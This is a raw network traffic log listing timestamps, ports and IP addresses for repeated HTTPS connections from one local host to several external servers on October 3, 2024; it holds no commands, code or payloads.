Oct 3, 2024 17:19:25.104950905 CEST	443	55871	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:25.505422115 CEST	55870	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:25.505618095 CEST	443	55870	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:25.505706072 CEST	55870	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:25.508694887 CEST	55874	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:25.508728981 CEST	443	55874	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:25.508802891 CEST	55874	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:25.509133101 CEST	55874	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:25.509149075 CEST	443	55874	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:25.510185003 CEST	55872	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:25.555396080 CEST	443	55872	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:25.940457106 CEST	49738	5228	192.168.2.17	74.125.206.188
Oct 3, 2024 17:19:25.945712090 CEST	5228	49738	74.125.206.188	192.168.2.17
Oct 3, 2024 17:19:26.000809908 CEST	443	55872	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.001368046 CEST	55872	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.001380920 CEST	443	55872	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.001424074 CEST	443	55872	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.001596928 CEST	55872	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.001596928 CEST	55872	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.003742933 CEST	55875	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:26.003793955 CEST	443	55875	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:26.003891945 CEST	55875	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:26.004107952 CEST	55875	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:26.004121065 CEST	443	55875	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:26.316745996 CEST	443	55874	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.317203999 CEST	55874	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.317234039 CEST	443	55874	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.317609072 CEST	443	55874	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.317965031 CEST	55874	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.318034887 CEST	443	55874	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.371429920 CEST	55874	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.517610073 CEST	55874	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.559406996 CEST	443	55874	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.694134951 CEST	443	55874	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.694225073 CEST	443	55874	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.694309950 CEST	55874	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.694662094 CEST	55874	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.694680929 CEST	443	55874	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.698713064 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:26.698801994 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:26.698914051 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:26.699116945 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:26.699140072 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:26.940227032 CEST	443	55875	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:26.940694094 CEST	55875	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:26.940759897 CEST	443	55875	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:26.944488049 CEST	443	55875	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:26.944626093 CEST	55875	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:26.944655895 CEST	443	55875	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:26.944725037 CEST	55875	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:26.944935083 CEST	55875	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:26.945111990 CEST	55875	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:26.945120096 CEST	443	55875	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:26.987404108 CEST	443	55875	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:26.989936113 CEST	55875	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:26.989954948 CEST	443	55875	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:26.990021944 CEST	55875	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:26.993750095 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.993783951 CEST	443	55877	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.993884087 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.994045019 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.994054079 CEST	443	55878	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.994107962 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.994285107 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.994301081 CEST	443	55877	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:26.994438887 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:26.994452000 CEST	443	55878	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.322545052 CEST	443	55849	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:27.322725058 CEST	443	55849	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:27.322807074 CEST	55849	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:27.545454025 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.545784950 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.545846939 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.547010899 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.547302008 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.547437906 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.547523022 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.596400976 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.627964973 CEST	443	55877	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.628390074 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.628460884 CEST	443	55877	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.629630089 CEST	443	55877	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.630028009 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.630160093 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.630176067 CEST	443	55877	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.630208969 CEST	443	55877	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.653439999 CEST	443	55878	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.654444933 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.654481888 CEST	443	55878	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.654997110 CEST	443	55878	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.655289888 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.655380964 CEST	443	55878	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.673369884 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.705367088 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.742692947 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.742753983 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.742793083 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.742839098 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.742875099 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.742889881 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.742902040 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.742933035 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.828463078 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.828522921 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.828583956 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.828605890 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.828630924 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.828648090 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.830380917 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.830436945 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.830467939 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.830480099 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.830504894 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.830523968 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.914295912 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.914356947 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.914412975 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.914436102 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.914454937 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.914473057 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.915433884 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.915492058 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.915508032 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.915518045 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.915543079 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.915558100 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.915643930 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.915690899 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.915738106 CEST	55876	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:27.915751934 CEST	443	55876	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:27.982290983 CEST	443	55877	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.982523918 CEST	443	55877	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.982626915 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.982954979 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.983006001 CEST	443	55877	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:27.983036041 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.983076096 CEST	55877	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:27.984925985 CEST	55849	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:27.984950066 CEST	443	55849	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:27.985341072 CEST	55879	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:27.985363960 CEST	443	55879	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:27.985445023 CEST	55879	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:27.985661030 CEST	55879	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:27.985675097 CEST	443	55879	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:27.994196892 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:28.035417080 CEST	443	55878	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:28.172760010 CEST	443	55878	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:28.172918081 CEST	443	55878	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:28.173011065 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:28.173218966 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:28.173269033 CEST	443	55878	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:28.173299074 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:28.173333883 CEST	55878	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:28.177141905 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:28.177194118 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:28.177289009 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:28.177530050 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:28.177551985 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.376099110 CEST	443	55879	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:29.376461029 CEST	55879	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:29.376480103 CEST	443	55879	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:29.377685070 CEST	443	55879	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:29.377985954 CEST	55879	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:29.378135920 CEST	55879	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:29.378140926 CEST	443	55879	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:29.378155947 CEST	443	55879	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:29.434345961 CEST	55879	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:29.492866039 CEST	55879	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:29.492974997 CEST	443	55879	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:29.493078947 CEST	55879	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:29.501255035 CEST	55881	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:29.501307011 CEST	443	55881	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:29.501326084 CEST	55882	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:29.501338005 CEST	443	55882	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:29.501420975 CEST	55881	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:29.501457930 CEST	55882	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:29.501605034 CEST	55883	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.501640081 CEST	443	55883	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:29.501707077 CEST	55883	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.502962112 CEST	55883	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.502976894 CEST	443	55883	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:29.503215075 CEST	55882	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:29.503232956 CEST	443	55882	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:29.503432035 CEST	55881	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:29.503448963 CEST	443	55881	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:29.567373037 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.570697069 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.570732117 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.571254015 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.571872950 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.571957111 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.572102070 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.619434118 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.849586964 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.849647045 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.849692106 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.849747896 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.849785089 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.849798918 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.849838972 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.850644112 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.850706100 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.850740910 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.850761890 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.850788116 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.852746010 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.852787018 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.852829933 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.852838993 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.852871895 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.903362036 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.936876059 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.936933994 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.937005043 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.937063932 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.937099934 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.937127113 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.938169003 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.938256025 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.938261032 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.938306093 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.938338995 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.938363075 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.938375950 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.938453913 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.938512087 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.938556910 CEST	55880	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:29.938586950 CEST	443	55880	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:29.972121954 CEST	443	55883	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:29.972457886 CEST	55883	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.972486973 CEST	443	55883	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:29.973932028 CEST	443	55883	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:29.974014044 CEST	55883	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.974262953 CEST	55883	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.974277973 CEST	55883	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.974328041 CEST	55883	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.974344015 CEST	443	55883	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:29.974401951 CEST	55883	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.974637032 CEST	55884	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.974726915 CEST	443	55884	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:29.974812984 CEST	55884	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.975123882 CEST	55884	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:29.975158930 CEST	443	55884	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:30.142877102 CEST	443	55882	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.143295050 CEST	55882	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.143326998 CEST	443	55882	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.144233942 CEST	443	55881	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.144488096 CEST	55881	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.144504070 CEST	443	55881	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.144809961 CEST	443	55882	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.144841909 CEST	443	55881	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.145880938 CEST	55882	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.146248102 CEST	443	55882	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.146270037 CEST	55881	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.146342039 CEST	443	55881	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.146493912 CEST	55882	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.189383984 CEST	55881	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.191406965 CEST	443	55882	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.497442961 CEST	443	55882	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.497673035 CEST	443	55882	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.497756004 CEST	55882	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.498142958 CEST	55882	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.498167038 CEST	443	55882	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.498181105 CEST	55882	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.498225927 CEST	55882	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.500940084 CEST	55885	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:30.500992060 CEST	443	55885	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:30.501065016 CEST	55885	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:30.501348972 CEST	55885	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:30.501367092 CEST	443	55885	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:30.502049923 CEST	55881	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.514317989 CEST	443	55884	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:30.514632940 CEST	55884	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:30.514656067 CEST	443	55884	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:30.515924931 CEST	443	55884	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:30.516341925 CEST	55884	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:30.516518116 CEST	443	55884	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:30.543407917 CEST	443	55881	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.570365906 CEST	55884	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:30.676587105 CEST	443	55881	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.676671982 CEST	443	55881	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.676764011 CEST	55881	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.677110910 CEST	55881	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:30.677154064 CEST	443	55881	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:30.681189060 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:30.681232929 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:30.681339025 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:30.681554079 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:30.681571007 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.440124989 CEST	443	55885	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:31.440681934 CEST	55885	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:31.440728903 CEST	443	55885	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:31.443331957 CEST	443	55885	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:31.443424940 CEST	55885	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:31.443444967 CEST	443	55885	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:31.443490028 CEST	55885	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:31.443764925 CEST	55885	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:31.443841934 CEST	443	55885	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:31.443954945 CEST	55885	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:31.443964005 CEST	443	55885	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:31.492374897 CEST	55885	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:31.492573023 CEST	443	55885	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:31.492650032 CEST	55885	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:31.496139050 CEST	55887	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:31.496198893 CEST	443	55887	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:31.496272087 CEST	55887	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:31.496341944 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:31.496429920 CEST	443	55888	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:31.496500015 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:31.496562958 CEST	55887	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:31.496584892 CEST	443	55887	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:31.496726990 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:31.496751070 CEST	443	55888	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:31.526742935 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.527067900 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.527093887 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.527426004 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.527812004 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.527841091 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.527878046 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.572396994 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.743184090 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.743213892 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.743221045 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.743271112 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.743305922 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.743351936 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.743407965 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.743438959 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.743463039 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.831348896 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.831377983 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.831513882 CEST	55886	443	192.168.2.17	157.90.33.121
